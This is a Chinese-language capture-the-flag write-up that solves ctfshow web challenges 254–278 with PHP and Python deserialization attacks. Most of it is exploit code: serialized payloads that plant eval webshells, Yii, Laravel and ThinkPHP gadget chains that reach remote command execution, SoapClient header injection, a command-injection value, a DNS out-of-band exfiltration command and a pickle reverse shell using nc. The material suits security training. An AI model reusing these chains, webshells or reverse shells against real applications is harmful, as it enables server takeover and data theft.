目录
web254
代码不是很难,只要让username和password传进去的值是xxxxxx就可以把isVip赋值为true
payload:
?username=xxxxxx&password=xxxxxx
web255
isVip赋值那里没了,只需要把isVip改为true然后序列化一下,传进去
注意的是:反序列化有不可见字符,最好是url编码一下
<?php
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=True;
}
$a=new ctfShowUser();
echo urlencode(serialize($a));
#结果O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
然后再cookie加个user参数,值就是上面生成的
web256
加了一个判断,username不能等于password
所以只要序列号的时候改一下值,传进去的值一致即可
<?php
class ctfShowUser{
public $username='aaa';
public $password='xxxxxx';
public $isVip=True;
}
$a=new ctfShowUser();
echo urlencode(serialize($a));
#O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A3%3A%22aaa%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
序列化的时候改什么值那么传参的时候也要是一样的
web257
<?php
class ctfShowUser{
public function __construct(){
$this->class=new backDoor();
}
}
class backDoor{
private $code="system('ls');";
public function getInfo(){
eval($this->code);
}
}
$a=new ctfShowUser();
echo urlencode(serialize($a));
?>
payload:?username=xxxxxx&password=xxxxxx
在将cookie加个user的值为序列化的值
web258
增加了过滤,我们可以在数字前加上加号绕过
<?php
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $class = 'info';
public function __construct()
{
$this->class = new backDoor();
}
}
class backDoor{
public $code='system(ls);';
public function getInfo(){
eval($this->code);
}
}
$a=new ctfShowUser();
$a=serialize($a);
echo urlencode(str_replace('O:','O:+',$a));
#O%3A%2B11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A11%3A%22system%28ls%29%3B%22%3B%7D%7D
web259
public SoapClient::SoapClient ( mixed $wsdl [, array $options ] )
第一个参数是用来指明是否是wsdl模式
如果为null,那就是非wsdl模式,反序列化的时候会对第二个参数指明的url进行soap请求
如果第一个参数为null,则第二个参数必须设置location和uri
其中location是将请求发送到的SOAP服务器的URL
uri是SOAP服务的目标名称空间
第二个参数允许设置user_agent选项来设置请求的user-agent头
一、本地测试,开启监听本地9999端口
二、new SoapClient这个类,通过这种方法可以生成一个http请求的
三、注入一个ua头,可以看到ua头可以成功注入
四、注入换行表单,长度,\r\n是换行的意思
$ua="ctfshow\r\nX-Forwarded-For:127.0.0.1,127.0.0.1,127.0.0.1\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:13\r\n\r\ntoken=ctfshow";
$client = new SoapClient(null,array('uri'=>'http://127.0.0.1:9999/','location'=>'http://127.0.0.1:9999/flag.php','user_agent'=>$ua));
$client->getFlag();
构造成这样后,内容长度为13,所以后面的都不会看,而且也是post提交
本地构造成功,接下来只需要把端口去掉,然后url编码序列化$client即可
传参后访问/flag.txt就可以了
web260
直接get传参?ctfshow=ctfshow_i_love_36D
web261
一、这两个魔术方法需要php7.4以上才能生效
二、当__serialize和__sleep方法同时存在,序列化时忽略__sleep方法而执行__serialize;
当__unserialize方法和__wakeup方法同时存在,反序列化时忽略__wakeup方法而执行__unserialize
三、__unserialize的参数:当__serialize方法存在时,参数为__serialize的返回数组;当__serialize方法不存在时,参数为实例对象的所有属性值组合而成的数组
代码的关键点在于code要等于0x36d这里,由于是弱比较,这样是会相等的:
877.php<?php eval($_POST[a]);?> == 0x36d
<?php
class ctfshowvip{
public $username;
public $password;
public $code;
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function __unserialize($data){
$this->username=$data['username'];
$this->password=$data['password'];
$this->code = $this->username.$this->password;
}
public function __destruct(){
if($this->code==0x36d){
file_put_contents($this->username, $this->password);
}
}
}
$a=new ctfshowvip('877.php','<?php eval($_POST[a]);?>');
echo serialize($a);
O:10:"ctfshowvip":3:{s:8:"username";s:7:"877.php";s:8:"password";s:24:"<?php eval($_POST[a]);?>";s:4:"code";N;}
访问877.php即可
web262
反序列化字符串逃逸
一般有这种str_replace将4个字符,替换成5个字符,或者任意的,只要字符替换的个数不相等,都是字符串逃逸的应用场景
来看我本地:
class message{
public $from;
public $token='user';
public function __construct($f){
$this->from = $f;
}
}
$a=new message('fuck');
echo serialize($a);
这个就是一个简单的序列化,这是它的结果
O:7:"message":2:{s:4:"from";s:4:"fuck";s:5:"token";s:4:"user";}
如果在使用一个过滤就是这样
class message{
public $from;
public $token='user';
public function __construct($f){
$this->from = $f;
}
}
function filter($a){
return str_replace('fuck','loveU',$a);
}
$a=new message('fuck');
echo filter(serialize($a));
来看它的结果:
O:7:"message":2:{s:4:"from";s:4:"loveU";s:5:"token";s:4:"user";}
可以看到fuck成功替换成了loveU,s:4这里表示的是4个字符,但是由于我们替换了,变成了5个字符,他就只会看love,这个U就不会看了
而我们需要做的是将token的值进行逃逸,我们先将token修改成admin进行序列化:
O:7:"message":2:{s:4:"from";s:4:"loveU";s:5:"token";s:5:"admin";}
我们要将这一部分逃逸出来 ";s:5:"token";s:5:"admin";}
这里面是27个字符,而fuck替换成loveU会多出来一个字符,如果我们丢27个fuck那么就会多出来27个字符,从而逃逸出去
我们将这个值进行序列化
fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
序列化后的值为:
O:7:"message":2:{s:4:"from";s:135:"loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";}
可以数一下loveU的个数是135对上了前面的s:135而后面的这一部分:
";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";}
将会以我们构造的token为admin为准,后面的token为user的值他就会丢弃,因为我们已经闭合了
在回到题目,在题目前面有一个message.php,进去看看
就是需要将token变为admin
先原页面进行传参:让它生成一个cookie
f=1&m=2&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck%22;s:5:%22token%22;s:5:%22admin%22;}
然后访问message.php就可以了,他会带着生成的cookie去访问
web263
1、扫描后台发现www.zip源码
2、再inc.php文件内有ini_set('session.serialize_handler', 'php');句话,说明应该是session反序列
有一处写文件地方,我们调用这个类去执行
3、把User这个类序列化,并且传参内容就是写马
用 |O:4:"User":3:{s:8:"username";s:5:"1.php";s:8:"password";s:34:"<?php eval($_POST[a]);phpinfo();?>";s:6:"status";N;}";s:6:"status";N;}内容去访问index.php的话
会生成一个这个:
xxxxxx|后面的内容,后面的字符就不会管了
4、然后执行check.php让内容反序列化去调用User这个类生成文件
5、访问 log-1.php即可, 注:写一句话木马的时候在后面加phpinfo(); 可能由于编码的一些问题,或者直接写system("tac f*") 这样不用加phpinfo();
class User{
public $username;
public $password;
public $status;
function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function setStatus($s){
$this->status=$s;
}
}
$user = new User('1.php','<?php eval($_POST[1]);phpinfo();?>');
echo base64_encode('|'.serialize($user));
web264
同262
web265
看源码,关键点在于token为md5随机值,而login又需要token与password强等,所以我们可以将token的地址赋值给password
class ctfshowAdmin{
public $token;
public $password;
public function __construct($t){
$this->token=$t;
$this->password=&$this->token;
}
}
$a=new ctfshowAdmin('1');
echo serialize($a);
进行传参即可:
O:12:"ctfshowAdmin":2:{s:5:"token";s:1:"1";s:8:"password";R:2;}
web266
php://input就是直接post提交
但是hackbar有bug不会提交数据,所以抓包改
如果直接提交序列化的内容时,会有异常爆出来
将花括号内容删掉,没有报错
成功出flag
web267-270
先弱密码登录 用户名admin 密码 admin
查看aobut页面源码,发现view-source提示
加上view-source
?r=site%2Fabout&view-source
发现后门,可以利用反序列化漏洞
/index.php?r=/backdoor/shell&code=
这是一条yii的利用链子
<?php
namespace yii\rest{
class IndexAction {
public $checkAccess;
public $id;
public function __construct()
{
$this->checkAccess='shell_exec'; #可以试试带外
$this->id = "echo '<?php eval(\$_POST[1]);phpinfo(); ?>' > /var/www/html/basic/web/1.php";;
}
}
}
namespace yii\web{
use yii\rest\IndexAction;
class DbSession {
protected $fields = [];
public $writeCallback;
public function __construct()
{
$this->writeCallback=[(new IndexAction),"run"];
$this->fields['1'] = 'aaa';
}
}
}
namespace yii\db {
use yii\web\DbSession;
class BatchQueryResult
{
private $_dataReader;
public function __construct()
{
$this->_dataReader=new DbSession();
}
}
}
namespace {
$exp=print(base64_encode(serialize(new yii\db\BatchQueryResult())));
}
?>
没办法输出内容,可以尝试dns带外找到index.php所在目录。(应该是把 / 过滤了,无法执行命令直接查看根目录)
$this->checkAccess = 'shell_exec';
$this->id = 'wget `pwd|base64`.tgsjzu.dnslog.cn';
然后将命令写入php文件里
$this->checkAccess='shell_exec';
$this->id = "echo '<?php eval(\$_POST[1]);phpinfo(); ?>' > /var/www/html/basic/web/1.php";;
访问1.php即可
web271-273
Laravel反序列化
使用通用链子:
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-05-05 22:27:03
# @Last Modified by: h1xa
# @Last Modified time: 2021-05-05 22:39:17
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
namespace PhpParser\Node\Scalar\MagicConst{
class Line {}
}
namespace Mockery\Generator{
class MockDefinition
{
protected $config;
protected $code;
public function __construct($config, $code)
{
$this->config = $config;
$this->code = $code;
}
}
}
namespace Mockery\Loader{
class EvalLoader{}
}
namespace Illuminate\Bus{
class Dispatcher
{
protected $queueResolver;
public function __construct($queueResolver)
{
$this->queueResolver = $queueResolver;
}
}
}
namespace Illuminate\Foundation\Console{
class QueuedCommand
{
public $connection;
public function __construct($connection)
{
$this->connection = $connection;
}
}
}
namespace Illuminate\Broadcasting{
class PendingBroadcast
{
protected $events;
protected $event;
public function __construct($events, $event)
{
$this->events = $events;
$this->event = $event;
}
}
}
namespace{
$line = new PhpParser\Node\Scalar\MagicConst\Line();
$mockdefinition = new Mockery\Generator\MockDefinition($line,"<?php file_put_contents('1.php','<?php eval(\$_POST[a]);?>');?>");
$evalloader = new Mockery\Loader\EvalLoader();
$dispatcher = new Illuminate\Bus\Dispatcher(array($evalloader,'load'));
$queuedcommand = new Illuminate\Foundation\Console\QueuedCommand($mockdefinition);
$pendingbroadcast = new Illuminate\Broadcasting\PendingBroadcast($dispatcher,$queuedcommand);
echo urlencode(serialize($pendingbroadcast));
}
访问1.php即可,密码是a
web274
thinkphp反序列化,使用网上的链子
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-05-05 22:51:27
# @Last Modified by: h1xa
# @Last Modified time: 2021-05-05 23:01:43
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
namespace think;
abstract class Model{
protected $append = [];
private $data = [];
function __construct(){
$this->append = ["lin"=>["ctf","show"]];
$this->data = ["lin"=>new Request()];
}
}
class Request
{
protected $hook = [];
protected $filter = "system";
protected $config = [
// 表单ajax伪装变量
'var_ajax' => '_ajax',
];
function __construct(){
$this->filter = "system";
$this->config = ["var_ajax"=>'lin'];
$this->hook = ["visible"=>[$this,"isAjax"]];
}
}
namespace think\process\pipes;
use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
private $files = [];
public function __construct()
{
$this->files=[new Pivot()];
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
传参数后在参数后面加个lin参数,执行命令
web275
fn=php;tac f*
web276
有点难,先留着
web277-278
python反序列化
进行反弹shell
import base64
import pickle
class CTFshow():
def __reduce__(self):
return (eval,("__import__('os').popen('nc ip地址 端口 -e /bin/sh').read()",))
cs = CTFshow()
ctfshow_ser = pickle.dumps(cs) #不加s是文件
print(base64.b64encode(ctfshow_ser))
如果反弹不成功可以看看防火墙是否是开的,看下安全组端口是否开放